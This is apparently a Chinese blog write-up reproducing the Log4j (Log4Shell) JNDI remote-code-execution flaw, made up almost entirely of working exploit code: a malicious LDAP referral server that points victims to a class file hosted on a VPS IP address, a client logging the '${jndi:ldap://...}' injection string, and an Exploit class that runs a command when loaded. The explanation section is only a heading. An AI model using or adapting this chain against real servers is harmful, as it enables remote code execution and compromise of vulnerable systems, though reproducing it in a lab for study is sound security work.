目录
复现流程
漏洞原理
复现流程
启动HTTP->启动LDAP->执行Log4j
vps起个http服务,放好Exploit.class这个恶意字节码
LDAPRefServer作为恶意LDAP服务器
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";/*** class地址 用#Exploit代替Exploit.class*/private static final String EXPLOIT_CLASS_URL = "http://124.222.136.33:8888/#Exploit";public static void main(String[] args) {int port = 7912;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor(URL cb) {this.codebase = cb;}@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);} catch (Exception e1) {e1.printStackTrace();}}protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Calc");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if (refPos > 0) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
log4j客户端(被攻击者,即受害服务器)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4J {private static final Logger logger = LogManager.getLogger(Log4J.class);public static void main(String[] args) {// 先启动LDAP服务器logger.error("${jndi:ldap://127.0.0.1:7912/suibian}");// logger.error("${java:runtime} - ${java:vm} - ${java:os}");}
}
Exploit.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//import java.io.IOException;public class Exploit {public Exploit() {}static {try {Runtime.getRuntime().exec("calc");} catch (IOException var1) {var1.printStackTrace();}}
}
成功RCE
vps接收到来自log4j客户端的请求
漏洞原理
log4j提供的lookup功能